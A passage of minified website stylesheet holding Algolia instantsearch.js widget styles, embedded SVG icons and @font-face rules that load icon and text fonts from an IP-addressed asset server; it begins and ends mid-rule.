DAgMSAzLjQgMjcuMXYxMDAuNmMtNiAxLjMtMTUuMSAyLjgtMjcuMyA0LjZzLTI1LjkgMi43LTQxLjEgMi43Yy0xMC4xLjAtMTkuNC0xLTI3LjctMi45LTguNC0xLjktMTUuNS01LTIxLjUtOS4zYTQ1IDQ1IDAgMCAxLTEzLjktMTYuNmMtMy4zLTYuOC01LTE2LjQtNS0yNi40LjAtOS42IDEuOS0xNS43IDUuNi0yMi4zIDMuOC02LjYgOC45LTEyIDE1LjMtMTYuMmE2NS44IDY1LjguMCAwIDEgMjIuNC05IDEyOC4zIDEyOC4zLjAgMCAxIDU1LjQuOHYtNi40YzAtNC41LS41LTguOC0xLjYtMTIuOC0xLjEtNC4xLTMtNy42LTUuNi0xMC43LTIuNy0zLjEtNi4yLTUuNS0xMC42LTcuMnMtMTAtMy0xNi43LTNhMTQyLjcgMTQyLjcuMCAwIDAtNDMuMSA2LjlsLTQuNy0zMi4xYTE3MC4yIDE3MC4yLjAgMCAxIDUxLjktNy43em0zLjMgMTQxLjljMTIgMCAyMC45LS43IDI3LjEtMS45di0zOS44YTkzLjIgOTMuMi4wIDAgMC0zNi4xLTEuOWMtNC40LjYtOC40IDEuOC0xMS45IDMuNXMtNi40IDQuMS04LjUgNy4yYTEzLjYgMTMuNi4wIDAgMC0zLjIgOS42YzAgOS4yIDMuMiAxNC41IDkgMThhNDQuOSA0NC45LjAgMCAwIDIzLjYgNS4zek01MTIuOSAxMDNjMTIuOS4wIDIzLjggMS42IDMyLjYgNC44YTUyLjIgNTIuMi4wIDAgMSAyMS4xIDEzLjQgNTIuMSA1Mi4xLjAgMCAxIDExLjEgMjEuNyAxZTIgMWUyLjAgMCAxIDMuNCAyNy4xdjEwMC42Yy02IDEuMy0xNS4xIDIuOC0yNy4zIDQuNmEyODMuNCAyODMuNC4wIDAgMS00MS4xIDIuN2MtMTAuMS4wLTE5LjQtMS0yNy43LTIuOS04LjQtMS45LTE1LjUtNS0yMS41LTkuM2E0NSA0NSAwIDAgMS0xMy45LTE2LjZjLTMuMy02LjgtNS0xNi40LTUtMjYuNC4wLTkuNiAxLjktMTUuNyA1LjYtMjIuMyAzLjgtNi42IDguOS0xMiAxNS4zLTE2LjJhNjUuOCA2NS44LjAgMCAxIDIyLjQtOSAxMjguMyAxMjguMy4wIDAgMSA1NS40Ljh2LTYuNGMwLTQuNS0uNS04LjgtMS42LTEyLjgtMS4xLTQuMS0zLTcuNi01LjYtMTAuN2EyNi4zIDI2LjMuMCAwIDAtMTAuNi03LjJjLTQuNC0xLjctMTAtMy0xNi43LTNhMTQyLjcgMTQyLjcuMCAwIDAtNDMuMSA2LjlsLTQuNy0zMi4xYzQuOS0xLjcgMTIuMi0zLjQgMjEuNi01LjEgOS40LTEuOCAxOS41LTIuNiAzMC4zLTIuNnptMy40IDE0MmMxMiAwIDIwLjktLjcgMjcuMS0xLjl2LTM5LjhhOTMuMiA5My4yLjAgMCAwLTM2LjEtMS45Yy00LjQuNi04LjQgMS44LTExLjkgMy41cy02LjQgNC4xLTguNSA3LjJhMTMuNiAxMy42LjAgMCAwLTMuMiA5LjZjMCA5LjIgMy4yIDE0LjUgOSAxOHMxMy43IDUuMyAyMy42IDUuM3ptMTU4LjUgMzEuOWMtNjQuMS4zLTY0LjEtNTEuOC02NC4xLTYwLjFMNjEwLjYgMzJsMzkuMS02LjJ2MTgzLjZjMCA0LjcuMCAzNC41IDI1LjEgMzQuNnYzMi45eiIvPjwvc3ZnPg==);background-repeat:no-repeat;background-size:contain;vertical-align:middle}.ais-search-box.ais-stalled-search .ais-search-box--magnifier-wrapper{display:none}.ais-search-box.ais-stalled-search .ais-search-box--loading-indicator-wrapper{display:block}.sbx-sffv{display:inline-block;position:relative;width:100%;height:26px;white-space:nowrap;box-sizing:border-box;font-size:14px}.sbx-sffv__input,.sbx-sffv__wrapper{width:100%;height:100%}.sbx-sffv__input{display:inline-block;transition:box-shadow .4s ease,background .4s ease;border:0;border-radius:4px;box-shadow:inset 0 0 0 1px #ccc;background:#fff;padding:0 20px 0 26px;vertical-align:middle;white-space:normal;font-size:inherit;-webkit-appearance:none;-moz-appearance:none;appearance:none}.sbx-sffv__input::-webkit-search-cancel-button,.sbx-sffv__input::-webkit-search-decoration,.sbx-sffv__input::-webkit-search-results-button,.sbx-sffv__input::-webkit-search-results-decoration{display:none}.sbx-sffv__input:hover{box-shadow:inset 0 0 0 1px #b3b3b3}.sbx-sffv__input:active,.sbx-sffv__input:focus{outline:0;box-shadow:inset 0 0 0 1px #337ab7;background:#fff}.sbx-sffv__input::-webkit-input-placeholder{color:#bbb}.sbx-sffv__input:-ms-input-placeholder,.sbx-sffv__input::-ms-input-placeholder{color:#bbb}.sbx-sffv__input::placeholder{color:#bbb}.sbx-sffv__submit{position:absolute;top:0;right:inherit;left:0;margin:0;border:0;border-radius:3px 0 0 3px;background-color:#0000;padding:0;width:26px;height:100%;vertical-align:middle;text-align:center;font-size:inherit;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.sbx-sffv__submit::before{display:inline-block;margin-right:-4px;height:100%;vertical-align:middle;content:''}.sbx-sffv__submit:active,.sbx-sffv__submit:hover{cursor:pointer}.sbx-sffv__reset:focus,.sbx-sffv__submit:focus{outline:0}.sbx-sffv__submit svg{width:14px;height:14px;vertical-align:middle;fill:#337ab7}.sbx-sffv__reset{display:none;position:absolute;top:2px;right:2px;margin:0;border:0;background:0 0;cursor:pointer;padding:0;font-size:inherit;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;fill:#00000080}.sbx-sffv__reset svg{display:block;margin:4px;width:14px;height:14px}.sbx-sffv__input:valid~.sbx-sffv__reset{display:block;-webkit-animation-name:sbx-reset-in;animation-name:sbx-reset-in;-webkit-animation-duration:.15s;animation-duration:.15s}.ais-refinement-list--item em{font-style:normal;font-weight:700}.ais-pagination--item{display:inline-block;padding:3px}.ais-pagination--item__disabled{visibility:hidden}.ais-hierarchical-menu--list__lvl1,.ais-hierarchical-menu--list__lvl2{margin-left:10px}.ais-range-input--fieldset{margin:0;padding:0;border:0}.ais-range-input--labelMin{display:inline-block}.ais-range-input--inputMin{min-width:165px}.ais-range-input--inputMax:hover:disabled,.ais-range-input--inputMin:hover:disabled{cursor:not-allowed}.ais-range-input--separator{margin:0 5px}.ais-range-input--labelMax{display:inline-block}.ais-range-input--inputMax{min-width:165px}.ais-range-input--submit{margin-left:5px}.ais-range-input--submit:disabled,.ais-range-input--submit:hover:disabled{cursor:not-allowed;background-color:#c9c9c9}.ais-range-slider .ais-range-slider--disabled{cursor:not-allowed}.ais-range-slider .ais-range-slider--disabled .ais-range-slider--handle{border-color:#ddd;cursor:not-allowed}.ais-range-slider .ais-range-slider--disabled .rheostat-horizontal .rheostat-progress{background-color:#ddd}.ais-range-slider .rheostat{overflow:visible;margin-top:2em;margin-bottom:2em}.ais-range-slider .rheostat-background{background-color:#fff;border-top:1px solid #ddd;border-bottom:1px solid #ddd;border-left:2px solid #ddd;border-right:2px solid #ddd;position:relative}.ais-range-slider .rheostat-horizontal .rheostat-background{height:6px;top:0;width:100%}.ais-range-slider .rheostat-horizontal .rheostat-progress{background-color:#46aeda;position:absolute;height:4px;top:1px}.ais-range-slider .rheostat-horizontal .rheostat-handle{margin-left:-12px;top:-7px}.ais-range-slider .rheostat-horizontal .rheostat-handle .ais-range-slider--tooltip{text-align:center;margin-left:-10px;width:40px}.ais-range-slider .rheostat-horizontal .rheostat-handle::after,.ais-range-slider .rheostat-horizontal .rheostat-handle::before{top:7px;height:10px;width:1px}.ais-range-slider .rheostat-horizontal .rheostat-handle::before{left:10px}.ais-range-slider .rheostat-horizontal .rheostat-handle::after{left:13px}.ais-range-slider--handle{width:20px;height:20px;position:relative;z-index:1;background:#fff;border:1px solid #46aeda;border-radius:50%;cursor:pointer}.ais-range-slider--tooltip{position:absolute;background:#fff;top:-22px;font-size:.8em}.ais-range-slider--value{width:40px;position:absolute;text-align:center;margin-left:-20px;padding-top:15px;font-size:.8em}.ais-range-slider--marker{position:absolute;background:#ddd;margin-left:-1px;width:1px;height:5px}.ais-star-rating--item{vertical-align:middle}.ais-star-rating--item__active{font-weight:700}.ais-star-rating--star,.ais-star-rating--star__empty{display:inline-block;width:1em;height:1em}.ais-star-rating--star::before{content:'\2605';color:#fbae00}.ais-star-rating--star__empty::before{content:'\2606';color:#fbae00}.ais-star-rating--link__disabled .ais-star-rating--star::before,.ais-star-rating--link__disabled .ais-star-rating--star__empty::before{color:#c9c9c9}.ais-root__collapsible .ais-header{cursor:pointer}.ais-root__collapsed .ais-body,.ais-root__collapsed .ais-footer{display:none}.ais-breadcrumb--home,.ais-breadcrumb--label,.ais-breadcrumb--separator{display:inline;color:#3369e7}.ais-breadcrumb--item{display:inline}.ais-breadcrumb--disabledLabel{color:#444;display:inline}.ais-geo-search,.ais-geo-search--map{height:100%}.ais-geo-search--toggle-label{display:flex;align-items:center}/*!instantsearch.js 2.10.1 | © Algolia Inc. and other contributors; Licensed MIT | github.com/algolia/instantsearch.js*/.ais-clear-all--link,.ais-current-refined-values--clear-all,.ais-price-ranges--button,.ais-range-input--submit{color:#fff;display:inline-block;background:#3369e7;border-radius:4px;font-size:12px;text-decoration:none;padding:4px 8px}.ais-geo-search--clear,.ais-geo-search--redo{color:#fff;display:inline-block;background:#3369e7;font-size:12px;text-decoration:none}.ais-clear-all--link:hover,.ais-current-refined-values--clear-all:hover,.ais-geo-search--clear:hover,.ais-geo-search--redo:hover,.ais-price-ranges--button:hover,.ais-range-input--submit:hover{text-decoration:none;color:#fff;background:#184ecd}.ais-clear-all--link-disabled,.ais-current-refined-values--clear-all-disabled{opacity:.5;pointer-events:none}.ais-current-refined-values--clear-all{margin-bottom:5px}.ais-current-refined-values--item,.ais-hierarchical-menu--item,.ais-menu--item{font-size:14px;line-height:30px}.ais-refinement-list--item{font-size:14px}.ais-star-rating--item,.ais-toggle--item{font-size:14px;line-height:30px}.ais-geo-search--toggle-label{line-height:30px}.ais-current-refined-values--link,.ais-geo-search--toggle-label,.ais-hierarchical-menu--link,.ais-menu--link,.ais-price-ranges--link,.ais-refinement-list--label,.ais-star-rating--link,.ais-toggle--label{color:#3e82f7;text-decoration:none}.ais-current-refined-values--link:hover,.ais-geo-search--toggle-label:hover,.ais-hierarchical-menu--link:hover,.ais-menu--link:hover,.ais-price-ranges--link:hover,.ais-refinement-list--label:hover,.ais-star-rating--link:hover,.ais-toggle--label:hover{color:#184ecd;text-decoration:none}.ais-current-refined-values--count,.ais-hierarchical-menu--count,.ais-menu--count,.ais-refinement-list--count,.ais-star-rating--count,.ais-toggle--count{background:#2751af1a;border-radius:31px;color:#3e82f7;padding:2px 10px}.ais-hierarchical-menu--item__active>div>.ais-hierarchical-menu--link,.ais-menu--item__active>div>.ais-menu--link,.ais-refinement-list--item__active>div>.ais-geo-search--toggle-label,.ais-refinement-list--item__active>div>.ais-refinement-list--label,.ais-refinement-list--item__active>div>.ais-toggle--label{font-weight:700}.ais-hierarchical-menu--item__active>div>.ais-hierarchical-menu--link::after{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ais-hierarchical-menu--link{position:relative}.ais-hierarchical-menu--link::after{background:url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgOCAxMyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMS41IDEuNWw1IDQuOTgtNSA1LjAyIiBzdHJva2U9IiM2OTc3ODIiIHN0cm9rZS13aWR0aD0iMS41IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgb3BhY2l0eT0iLjQiLz48L3N2Zz4=) no-repeat 50%/contain;content:' ';display:block;position:absolute;top:calc(50% - 14px/2);right:-22px;height:14px;width:14px}select.ais-hits-per-page-selector,select.ais-menu-select--select,select.ais-numeric-selector,select.ais-sort-by-selector{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:#fff url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMTIgNyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTEgMSA2LjAyIDYgMSAxIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSIjYmZjN2Q4IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPjwvc3ZnPg==) no-repeat 50% 100% 16px/10px;box-shadow:0 1px 1px 0 #555f6e33!important;border:solid 1px #d4d8e3!important;border-radius:4px;color:#697782;font-size:12px;transition:background .2s ease,box-shadow .2s ease;padding:8px 32px 8px 16px;outline:0}.ais-menu button,.ais-refinement-list div>button{background:0 0;border:0;cursor:pointer;font-size:11px}.ais-refinement-list--item{line-height:24px}.ais-geo-search--toggle-label,.ais-refinement-list--label,.ais-toggle--label{cursor:pointer}.ais-geo-search--toggle-label input[type=checkbox],.ais-geo-search--toggle-label input[type=radio],.ais-refinement-list--label input[type=checkbox],.ais-refinement-list--label input[type=radio],.ais-toggle--label input[type=checkbox],.ais-toggle--label input[type=radio]{margin-right:5px}.ais-pagination{background:#fff;box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;display:inline-block;padding:8px 16px;width:auto}.ais-pagination--item{border-radius:4px;font-size:14px;text-align:center;width:28px}.ais-pagination--item:hover{background:#2751af1a}.ais-pagination--item__disabled{color:#bbb;opacity:.5;pointer-events:none;visibility:visible}.ais-pagination--item__active{background:#3369e7}.ais-pagination--item__active .ais-pagination--link{color:#fff}.ais-pagination--link{color:#697782;display:block;text-decoration:none;width:100%}.ais-pagination--link:hover{color:#3369e7;text-decoration:none}.ais-price-ranges--item{font-size:14px;line-height:24px}.ais-price-ranges--item__active{font-weight:700}.ais-price-ranges--form{margin-top:10px}.ais-price-ranges--input{background:#fff;box-shadow:inset 0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;outline:0}.ais-price-ranges--button{border:0;outline:0;margin-left:5px;position:relative;top:-2px}.ais-range-input--inputMax,.ais-range-input--inputMin{background:#fff;box-shadow:inset 0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;outline:0}.ais-range-input--submit{border:0;outline:0;margin-left:5px;position:relative;top:-2px}.ais-range-slider--handle{border:1px solid #3369e7}.ais-range-slider .rheostat-progress{background-color:#3369e7!important}.ais-search-box{display:inline-block;position:relative;height:46px;white-space:nowrap;font-size:14px}.ais-search-box--input{-webkit-appearance:none;-moz-appearance:none;appearance:none;font:inherit;background:#fff;display:inline-block;border:1px solid #d4d8e3;border-radius:4px;box-shadow:0 1px 1px 0 #555f6e33;transition:box-shadow .4s ease,background .4s ease;padding:10px 10px 10px 35px;vertical-align:middle;white-space:normal;height:100%;width:100%}.ais-search-box--input:focus{box-shadow:none;outline:0}.ais-search-box--reset{fill:#bfc7d8;top:calc(50% - 12px/2);right:13px}.ais-search-box--loading-indicator-wrapper,.ais-search-box--magnifier{fill:#bfc7d8;left:12px;top:calc(50% - 18px/2)}.ais-search-box--loading-indicator-wrapper svg,.ais-search-box--magnifier svg{height:18px;width:18px}.ais-stats{color:#697782;font-size:14px;opacity:.6}.ais-toggle--item__active{font-weight:700}.ais-breadcrumb--root .ais-breadcrumb--label{display:inline;color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--separator{color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--home{display:inline;color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--home div,.ais-breadcrumb--root .ais-breadcrumb--label div,.ais-breadcrumb--root .ais-breadcrumb--separator div{display:inline}.ais-breadcrumb--root .ais-breadcrumb--disabledLabel{color:#444;display:inline}.ais-breadcrumb--root .ais-breadcrumb--separator{position:relative;display:inline-block;height:14px;width:14px}.ais-breadcrumb--root .ais-breadcrumb--separator::after{background:url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgOCAxMyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMS41IDEuNWw1IDQuOTgtNSA1LjAyIiBzdHJva2U9IiM2OTc3ODIiIHN0cm9rZS13aWR0aD0iMS41IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgb3BhY2l0eT0iLjQiLz48L3N2Zz4=) no-repeat 50%/contain;content:' ';display:block;position:absolute;top:2px;height:14px;width:14px}.ais-geo-search{position:relative}.ais-geo-search--clear{box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;padding:8px 15px;position:absolute;bottom:20px;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.ais-geo-search--clear:hover,.ais-geo-search--redo:hover{cursor:pointer}.ais-geo-search--control{position:absolute;top:10px;left:50px}.ais-geo-search--redo,.ais-geo-search--toggle-label{box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px}.ais-geo-search--toggle-label{font-size:12px;background:#fff;padding:0 15px}.ais-geo-search--redo{padding:8px 15px}.ais-geo-search--redo:disabled{background:#a0b8f3}[class^=ais-],[class^=ais-]>*,[class^=ais-]>::after,[class^=ais-]>::before{box-sizing:border-box}.ais-header{border-bottom:2px solid #eee;font-size:.8em;margin:0 0 6px;padding:0 0 6px;text-transform:uppercase}@font-face{font-family:flexslider-icon;src:url(https://103.78.122.61:1313/dist/fonts/flexslider-icon.eot);src:url(https://103.78.122.61:1313/dist/fonts/flexslider-icon.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/flexslider-icon.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/flexslider-icon.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/flexslider-icon.svg#flexslider-icon) format("svg");font-weight:400;font-style:normal}@font-face{font-family:fontawesome;src:url(https://103.78.122.61:1313/dist/fonts/fontawesome-webfont.eot?v=4.7.0);src:url(https://103.78.122.61:1313/dist/fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/fontawesome-webfont.woff2?v=4.7.0) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/fontawesome-webfont.woff?v=4.7.0) format("woff"),url(https://103.78.122.61:1313/dist/fonts/fontawesome-webfont.ttf?v=4.7.0) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format("svg");font-weight:400;font-style:normal}@font-face{font-family:open sans;font-style:normal;font-weight:400;src:url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local("Open Sans Regular"),local(OpenSans-Regular),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:italic;font-weight:400;src:url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot);src:local("Open Sans Italic"),local(OpenSans-Italic),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:normal;font-weight:700;src:url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot);src:local("Open Sans Bold"),local(OpenSans-Bold),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:italic;font-weight:700;src:url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot);src:local("Open Sans Bold Italic"),local(OpenSans-BoldItalic),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg#OpenSans) format("svg")}@font-face{font-family:roboto;font-style:normal;font-weight:400;src:url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local(Roboto),local(Roboto-Regular),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:italic;font-weight:400;src:url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot);src:local("Roboto Italic"),local(Roboto-Italic),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:normal;font-weight:700;src:url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot);src:local("Roboto Bold"),local(Roboto-Bold),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:italic;font-weight:700;src:url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot);src:local("Roboto Bold Italic"),local(Roboto-BoldItalic),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg#Roboto) format("svg")}@font-face{font-family:comfortaa;font-style:normal;font-weight:400;src:url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot);src:local("Comfortaa Regular"),local(Comfortaa-Regular),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.svg#Comfortaa) format("svg")}@font-face{font-family:comfortaa;font-style:normal;font-weight:700;src:url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot);src:local("Comfortaa Bold"),local(Comfortaa-Bold),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.svg#Comfortaa) format("svg")}@font-face{font-family:roboto 